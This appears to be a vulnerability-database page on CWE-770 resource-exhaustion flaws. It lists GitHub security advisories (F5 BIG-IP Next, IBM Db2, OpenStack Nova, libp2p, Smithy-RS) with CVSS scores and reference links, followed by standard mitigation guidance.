      "url": "https://access.redhat.com/errata/RHSA-2026:47712"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:47714"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:47716"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:47719"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:47721"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:47722"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:47910"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:48036"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:65126"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24761"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24762"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25248"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25250"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25251"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25252"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26447"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26571"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26636"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27076"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:28038"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:28047"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:28074"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29035"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29195"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29455"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29703"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:33722"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:65343"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:65514"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:66022"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:66084"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:66401"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:66523"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:67319"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:68504"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7291"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7385"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-32283"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456338"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/cl/763767"
    },
    {
      "type": "WEB",
      "url": "https://go.dev/issue/78334"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4870"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32283.json"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:48790"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:49509"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:49600"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:49944"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:51288"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54191"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54435"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54757"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:55898"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:55900"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:55901"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:55902"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:55903"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:56910"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:57409"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:57801"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:57802"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60520"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:16875"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17075"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17084"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17287"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:18027"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:18032"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19126"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19132"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19133"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19134"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19135"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19136"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19137"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19139"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19144"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19156"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19350"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19351"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:10217"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:10219"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:10704"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11507"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11514"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11704"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11711"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11712"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11863"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:11881"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:14162"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:14200"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:14391"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:15980"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:16021"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:16024"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:16101"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:16102"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20607"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20608"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20609"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21769"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22347"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22423"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22450"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22485"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22709"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22713"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22714"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22937"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23102"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23103"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23228"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23345"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24337"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24470"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19352"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19353"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19369"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19450"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19550"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19634"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19714"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19715"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19719"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19720"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19721"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19722"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19750"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19839"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20556"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20569"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20570"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20571"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JRJ4-84W3-HW4H

Vulnerability from github – Published: 2025-10-15 15:30 – Updated: 2025-10-15 15:30
VLAI
Details

On BIG-IP Next CNF, BIG-IP Next SPK, and BIG-IP Next for Kubernetes systems, repeated undisclosed API calls can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-55670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-15T14:15:51Z",
    "severity": "HIGH"
  },
  "details": "On BIG-IP Next CNF, BIG-IP Next SPK, and BIG-IP Next for Kubernetes systems, repeated undisclosed API calls can cause the Traffic Management Microkernel (TMM) to terminate.\u00a0 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
  "id": "GHSA-jrj4-84w3-hw4h",
  "modified": "2025-10-15T15:30:28Z",
  "published": "2025-10-15T15:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55670"
    },
    {
      "type": "WEB",
      "url": "https://my.f5.com/manage/s/article/K000154614"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JRVC-6C8F-586H

Vulnerability from github – Published: 2026-06-22 15:30 – Updated: 2026-06-22 15:30
VLAI
Details

IBM Db2 on Cloud Pak for Data and Db2 Warehouse on Cloud Pak for Data versions 4.8,5.0,5.1,5.2,5.3 could allow an authenticated user to cause a denial of service when creating new databases due to improper allocation of resources.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-54178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-22T14:16:21Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 on Cloud Pak for Data and Db2 Warehouse on Cloud Pak for Data versions 4.8,5.0,5.1,5.2,5.3 could allow an authenticated user to cause a denial of service when creating new databases due to improper allocation of resources.",
  "id": "GHSA-jrvc-6c8f-586h",
  "modified": "2026-06-22T15:30:43Z",
  "published": "2026-06-22T15:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54178"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7277112"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JV34-XVJQ-PPCH

Vulnerability from github – Published: 2022-05-17 04:48 – Updated: 2024-11-26 18:36
VLAI
Summary
OpenStack Nova VMWare driver leaks rescued images
Details

The VMWare driver in OpenStack Compute (Nova) 2013.2 through 2013.2.2 does not properly put VMs into RESCUE status, which allows remote authenticated users to bypass the quota limit and cause a denial of service (resource consumption) by requesting the VM be put into rescue and then deleting the image.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nova"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.0.0a0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2014-2573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-14T21:13:56Z",
    "nvd_published_at": "2014-03-25T16:55:00Z",
    "severity": "HIGH"
  },
  "details": "The VMWare driver in OpenStack Compute (Nova) 2013.2 through 2013.2.2 does not properly put VMs into RESCUE status, which allows remote authenticated users to bypass the quota limit and cause a denial of service (resource consumption) by requesting the VM be put into rescue and then deleting the image.",
  "id": "GHSA-jv34-xvjq-ppch",
  "modified": "2024-11-26T18:36:56Z",
  "published": "2022-05-17T04:48:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2573"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openstack/nova/commit/b3cc3f62a60662e5bb82136c0cfa464592a6afe9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openstack/nova/commit/efb66531bc37ee416778a70d46c657608ca767af"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/nova/+bug/1269418"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openstack/nova"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nova/PYSEC-2014-113.yaml"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/03/21/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/03/21/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenStack Nova VMWare driver leaks rescued images"
}

GHSA-JVGW-GCCV-Q5P8

Vulnerability from github – Published: 2022-12-07 20:28 – Updated: 2023-07-14 21:53
VLAI
Summary
libp2p DoS vulnerability from lack of resource management
Details

Impact

An attacker node can cause a victim node to allocate a large number of small memory chunks, which can ultimately lead to the victim’s process running out of memory and thus getting killed by its operating system. When executed continuously, this can lead to a denial of service attack, especially relevant on a larger scale when run against more than one node of a libp2p based network.

Details

In the original version of the attack, the malicious node would continuously open new streams on a single connection using a stream multiplexer that doesn’t provide sufficient back pressure (mplex or yamux). While allocations per stream might be considered small, they multiply with the number of streams and connections. It is easy to defend against this one attack, e.g. by setting a strict per connection stream limit and connection limit. But there are other variations of this attack, e.g. causing memory allocations by sending partial payloads on various protocol levels, forcing the victim to buffer the partial payload for a period of time or by tricking the victim into pre-allocating buffers for messages which are never sent by the attacker.

Patches

Users are advised to upgrade to libp2p v0.45.1 or above.

References

Please see our DoS Mitigation page for more information on how to incorporate mitigation strategies, monitor your application, and respond to attacks: https://docs.libp2p.io/reference/dos-mitigation/.

Please see the related disclosure for go-libp2p: https://github.com/libp2p/go-libp2p/security/advisories/GHSA-j7qp-mfxf-8xjw and js-libp2p: https://github.com/libp2p/js-libp2p/security/advisories/GHSA-f44q-634c-jvwv

For more information

If you have any questions or comments about this advisory, please email us at security@libp2p.io.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.45.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "libp2p"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.45.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-07T20:28:46Z",
    "nvd_published_at": "2022-12-07T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAn attacker node can cause a victim node to allocate a large number of small memory chunks, which can ultimately lead to the victim\u2019s process running out of memory and thus getting killed by its operating system. When executed continuously, this can lead to a denial of service attack, especially relevant on a larger scale when run against more than one node of a libp2p based network.\n\n### Details\n\nIn the original version of the attack, the malicious node would continuously open new streams on a single connection using a stream multiplexer that doesn\u2019t provide sufficient back pressure (mplex or yamux). While allocations per stream might be considered small, they multiply with the number of streams and connections. It is easy to defend against this one attack, e.g. by setting a strict per connection stream limit and connection limit. But there are other variations of this attack, e.g. causing memory allocations by sending partial payloads on various protocol levels, forcing the victim to buffer the partial payload for a period of time or by tricking the victim into pre-allocating buffers for messages which are never sent by the attacker.\n\n### Patches\n\nUsers are advised to upgrade to `libp2p` `v0.45.1` or above.\n\n### References\nPlease see our DoS Mitigation page for more information on how to incorporate mitigation strategies, monitor your application, and respond to attacks: https://docs.libp2p.io/reference/dos-mitigation/.\n\nPlease see the related disclosure for go-libp2p: https://github.com/libp2p/go-libp2p/security/advisories/GHSA-j7qp-mfxf-8xjw and js-libp2p: https://github.com/libp2p/js-libp2p/security/advisories/GHSA-f44q-634c-jvwv\n\n### For more information\nIf you have any questions or comments about this advisory, please email us at security@libp2p.io.\n",
  "id": "GHSA-jvgw-gccv-q5p8",
  "modified": "2023-07-14T21:53:44Z",
  "published": "2022-12-07T20:28:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/go-libp2p/security/advisories/GHSA-j7qp-mfxf-8xjw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-f44q-634c-jvwv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/rust-libp2p/security/advisories/GHSA-jvgw-gccv-q5p8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23486"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/rust-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2022-0084.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p DoS vulnerability from lack of resource management"
}

GHSA-JVXP-QMX7-GJPX

Vulnerability from github – Published: 2026-07-24 22:37 – Updated: 2026-07-24 22:37
VLAI
Summary
Smithy-RS: Allocation of resources without limits in the default aws-smithy-http-server serve() path allows unauthenticated Slowloris denial of service
Details

Summary

Smithy-RS is a Rust code generation and runtime framework that generates HTTP clients and servers from Smithy interface definitions, powering the AWS SDK for Rust and custom service implementations. An issue exists where, under certain circumstances, allocation of resources without limits in the default aws-smithy-http-server serve() path allows unauthenticated Slowloris denial of service.

Impact

Missing connection and header-read timeouts and the absence of a concurrent-connection cap in the default serve() path of Amazon aws-smithy-http-server might allow remote attackers to cause a denial of service by opening many connections and sending partial requests that are never completed, exhausting server sockets and tasks.

Impacted versions: aws-smithy-http-server <= 0.66.4

Patches

This issue has been addressed in aws-smithy-http-server version 0.66.5. AWS recommends upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.

Workarounds

There is no workaround besides updating to the patched version.

Contact

If you have any questions or comments about this advisory, AWS asks that you contact AWS Security via the vulnerability reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.66.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "aws-smithy-http-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.66.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-16756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:37:39Z",
    "nvd_published_at": "2026-07-23T19:16:53Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nSmithy-RS is a Rust code generation and runtime framework that generates HTTP clients and servers from Smithy interface definitions, powering the AWS SDK for Rust and custom service implementations. An issue exists where, under certain circumstances, allocation of resources without limits in the default aws-smithy-http-server serve() path allows unauthenticated Slowloris denial of service. \n\n## Impact\nMissing connection and header-read timeouts and the absence of a concurrent-connection cap in the default serve() path of Amazon aws-smithy-http-server might allow remote attackers to cause a denial of service by opening many connections and sending partial requests that are never completed, exhausting server sockets and tasks.\n\nImpacted versions: aws-smithy-http-server \u003c= 0.66.4\n\n## Patches\nThis issue has been addressed in aws-smithy-http-server version 0.66.5. AWS recommends upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.\n\n## Workarounds\nThere is no workaround besides updating to the patched version.\n\n## Contact\nIf you have any questions or comments about this advisory, AWS asks that you contact AWS Security via the [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
  "id": "GHSA-jvxp-qmx7-gjpx",
  "modified": "2026-07-24T22:37:39Z",
  "published": "2026-07-24T22:37:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/smithy-lang/smithy-rs/security/advisories/GHSA-jvxp-qmx7-gjpx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16756"
    },
    {
      "type": "WEB",
      "url": "https://aws.amazon.com/security/security-bulletins/2026-064-aws"
    },
    {
      "type": "WEB",
      "url": "https://crates.io/crates/aws-smithy-http-server/0.66.5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/smithy-lang/smithy-rs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Smithy-RS: Allocation of resources without limits in the default aws-smithy-http-server serve() path allows unauthenticated Slowloris denial of service"
}
Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

